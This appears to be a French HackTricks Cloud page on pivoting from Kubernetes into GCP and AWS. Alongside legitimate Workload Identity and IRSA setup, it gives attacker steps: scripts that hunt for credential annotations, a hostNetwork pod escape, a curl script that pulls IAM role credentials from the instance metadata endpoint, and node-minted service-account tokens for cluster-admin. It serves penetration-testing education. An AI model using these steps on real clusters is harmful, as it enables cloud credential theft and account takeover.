Kubernetes Pivoting vers les Clouds
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
GCP
Si vous exĂ©cutez un cluster k8s dans GCP, vous souhaiterez probablement quâune application sâexĂ©cutant dans le cluster ait un certain accĂšs Ă GCP. Il existe 2 façons courantes de le faire :
Monter les clés GCP-SA en tant que secret
Une façon courante de donner accÚs à une application Kubernetes à GCP est de :
- Créer un Service Account GCP
- Lui attribuer les permissions souhaitées
- Télécharger une clé json du SA créé
- La monter en tant que secret Ă lâintĂ©rieur du pod
- DĂ©finir la variable dâenvironnement GOOGLE_APPLICATION_CREDENTIALS pointant vers le chemin oĂč se trouve le json.
Warning
Par consĂ©quent, en tant quâattacker, si vous compromettez un conteneur Ă lâintĂ©rieur dâun pod, vous devriez vĂ©rifier cette variable dâenvironnement et les fichiers json contenant des identifiants GCP.
Relier le json GSA au secret KSA
Une façon de donner accÚs à un GSA à un cluster GKE est de les binder de cette maniÚre :
- CrĂ©ez un compte de service Kubernetes dans le mĂȘme namespace que votre cluster GKE en utilisant la commande suivante :
kubectl create serviceaccount <service-account-name>
- Create a Kubernetes Secret qui contient les identifiants du service account GCP que vous souhaitez autoriser Ă accĂ©der au cluster GKE. Vous pouvez le faire en utilisant lâoutil en ligne de commande
gcloud, comme montrĂ© dans lâexemple suivant :
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Associez le Kubernetes Secret au compte de service Kubernetes en utilisant la commande suivante :
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
Warning
Lors de la deuxiĂšme Ă©tape, les credentials du GSA ont Ă©tĂ© dĂ©finis comme secret du KSA. Donc, si vous pouvez lire ce secret depuis lâintĂ©rieur du cluster GKE, vous pouvez escalader vers ce compte de service GCP.
GKE Workload Identity
Avec Workload Identity, nous pouvons configurer a Kubernetes service account pour agir en tant que a Google service account. Les Pods exĂ©cutĂ©s avec le Kubernetes service account sâauthentifieront automatiquement en tant que le Google service account lors de lâaccĂšs aux APIs Google Cloud.
La premiĂšre sĂ©rie dâĂ©tapes pour activer ce comportement consiste Ă activer Workload Identity dans GCP (steps) et Ă crĂ©er le GCP SA que vous voulez que k8s se fasse passer pour.
- Activer Workload Identity sur un nouveau cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- CrĂ©er/Mettre Ă jour un nouveau nodepool (les clusters Autopilot nâen ont pas besoin)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Créer le GCP Service Account to impersonate depuis K8s avec des permissions GCP :
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Se connecter au cluster et créer le compte de service à utiliser
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Lier la GSA Ă la KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- ExĂ©cutez un pod avec la KSA et vĂ©rifiez lâaccess au GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Vérifiez la commande suivante pour vous authentifier en cas de besoin :
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
Warning
En tant quâattaquant Ă lâintĂ©rieur de K8s vous devriez chercher des SAs avec lâ
iam.gke.io/gcp-service-accountannotation car cela indique que le SA peut accĂ©der Ă quelque chose dans GCP. Une autre option serait dâessayer dâabuser de chaque KSA dans le cluster et vĂ©rifier sâil a accĂšs.
Depuis GCP il est toujours intĂ©ressant dâĂ©numĂ©rer les bindings et savoir quels accĂšs vous donnez aux SAs Ă lâintĂ©rieur de Kubernetes.
This is a script to easily iterate over the all the pods definitions looking for that annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
Une façon (obsolĂšte) de donner des IAM Roles aux Pods est dâutiliser un Kiam ou un Kube2IAM server. Fondamentalement, vous devrez exĂ©cuter un daemonset dans votre cluster avec une sorte de privileged IAM role. Ce daemonset sera celui qui donnera accĂšs aux IAM roles aux pods qui en ont besoin.
Tout dâabord, vous devez configurer quels rĂŽles peuvent ĂȘtre accĂ©dĂ©s Ă lâintĂ©rieur du namespace, et vous le faites avec une annotation dans lâobjet namespace :
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Une fois le namespace configuré avec les IAM roles que les Pods peuvent avoir, vous pouvez indiquer le rÎle que vous voulez pour chaque pod definition avec quelque chose comme :
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
Warning
En tant quâattaquant, si vous trouvez ces annotations dans des pods ou des namespaces ou un serveur kiam/kube2iam en cours dâexĂ©cution (probablement dans kube-system) vous pouvez usurper chaque rĂŽle dĂ©jĂ utilisĂ© par les pods et bien plus (si vous avez accĂšs au compte AWS, Ă©numĂ©rez les rĂŽles).
Créer un Pod avec un rÎle IAM
Note
Le rĂŽle IAM Ă indiquer doit ĂȘtre dans le mĂȘme compte AWS que le rĂŽle kiam/kube2iam et ce rĂŽle doit pouvoir y accĂ©der.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
RĂŽle IAM pour les Service Accounts K8s via OIDC
Câest la façon recommandĂ©e par AWS.
- Tout dâabord, vous devez crĂ©er un OIDC provider pour le cluster.
- Ensuite, créez un rÎle IAM avec les permissions dont le SA aura besoin.
- Créez une relation de confiance entre le rÎle IAM et le SA (ou entre le rÎle et les namespaces, donnant ainsi accÚs au rÎle à tous les SA du namespace). La relation de confiance vérifiera principalement le nom du provider OIDC, le nom du namespace et le nom du SA.
- Enfin, crĂ©ez un SA avec une annotation indiquant lâARN du rĂŽle, et les pods tournant avec ce SA auront accĂšs au token du rĂŽle. Le token est Ă©crit dans un fichier et le chemin est spĂ©cifiĂ© dans
AWS_WEB_IDENTITY_TOKEN_FILE(par défaut :/var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Pour récupérer aws en utilisant le token depuis /var/run/secrets/eks.amazonaws.com/serviceaccount/token exécutez :
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
Warning
En tant quâattaquant, si vous pouvez Ă©numĂ©rer un cluster K8s, vĂ©rifiez les service accounts with that annotation pour escalate to AWS. Pour ce faire, il suffit dâexec/create un pod en utilisant lâun des IAM privileged service accounts et de voler le token.
De plus, si vous ĂȘtes Ă lâintĂ©rieur dâun pod, vĂ©rifiez les variables dâenv comme AWS_ROLE_ARN et AWS_WEB_IDENTITY_TOKEN.
Caution
Parfois la Turst Policy of a role peut ĂȘtre bad configured et, au lieu de donner lâaccĂšs AssumeRole au service account attendu, elle le donne Ă all the service accounts. Par consĂ©quent, si vous ĂȘtes capable dâĂ©crire une annotation sur un service account contrĂŽlĂ©, vous pouvez accĂ©der au rĂŽle.
Consultez la following page for more information:
Trouver les Pods et les SAs avec IAM Roles dans le cluster
Ceci est un script pour itérer facilement sur tous les pods et définitions de SAs à la recherche de cette annotation :
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role to cluster-admin
La section prĂ©cĂ©dente expliquait comment voler des IAM Roles depuis des pods, mais notez quâun Node du cluster K8s est en fait une instance dans le cloud. Cela signifie quâil est trĂšs probable que le Node ait un IAM role que vous pouvez voler (note : gĂ©nĂ©ralement tous les nodes dâun cluster K8s ont le mĂȘme IAM role, donc cela peut ne pas valoir la peine de vĂ©rifier chaque node).
Pour accĂ©der Ă lâendpoint de mĂ©tadonnĂ©es du node, vous devez :
- Ătre dans un pod et que lâendpoint de mĂ©tadonnĂ©es soit configurĂ© pour au moins 2 sauts TCP. Câest la mauvaise configuration la plus courante : en gĂ©nĂ©ral diffĂ©rents pods du cluster ont besoin dâaccĂ©der Ă lâendpoint de mĂ©tadonnĂ©es pour fonctionner, et plusieurs entreprises dĂ©cident simplement dâautoriser lâaccĂšs Ă cet endpoint depuis tous les pods du cluster.
- Ătre dans un pod avec
hostNetworkactivĂ©. - SâĂ©chapper vers le node et accĂ©der directement Ă lâendpoint de mĂ©tadonnĂ©es.
(Note : lâendpoint de mĂ©tadonnĂ©es est Ă 169.254.169.254 comme toujours).
Pour sâĂ©chapper vers le node vous pouvez utiliser la commande suivante pour lancer un pod avec hostNetwork activĂ© :
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Voler le token IAM Role
Nous avons prĂ©cĂ©demment vu comment attach IAM Roles to Pods ou mĂȘme comment escape to the Node to steal the IAM Role que lâinstance lui a attachĂ©.
Vous pouvez utiliser le script suivant pour voler vos nouvelles IAM role credentials durement acquises :
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
En rĂ©sumĂ© : si lâon peut accĂ©der au EKS Node IAM role depuis un pod, il est possible de compromettre le cluster kubernetes dans son intĂ©gralitĂ©.
Pour plus dâinfos consultez this post. En rĂ©sumĂ©, le rĂŽle IAM EKS par dĂ©faut qui est assignĂ© aux nĆuds EKS est mappĂ© au rĂŽle system:node Ă lâintĂ©rieur du cluster. Ce rĂŽle est trĂšs intĂ©ressant bien quâil soit limitĂ© par les kubernetes Node Restrictions.
Cependant, le node peut toujours generate tokens for service accounts sâexĂ©cutant dans des pods Ă lâintĂ©rieur du node. Donc, si le node exĂ©cute un pod avec un privileged service account, le node peut gĂ©nĂ©rer un token pour ce service account et lâutiliser pour se faire passer pour ce service account comme dans :
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
Références
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

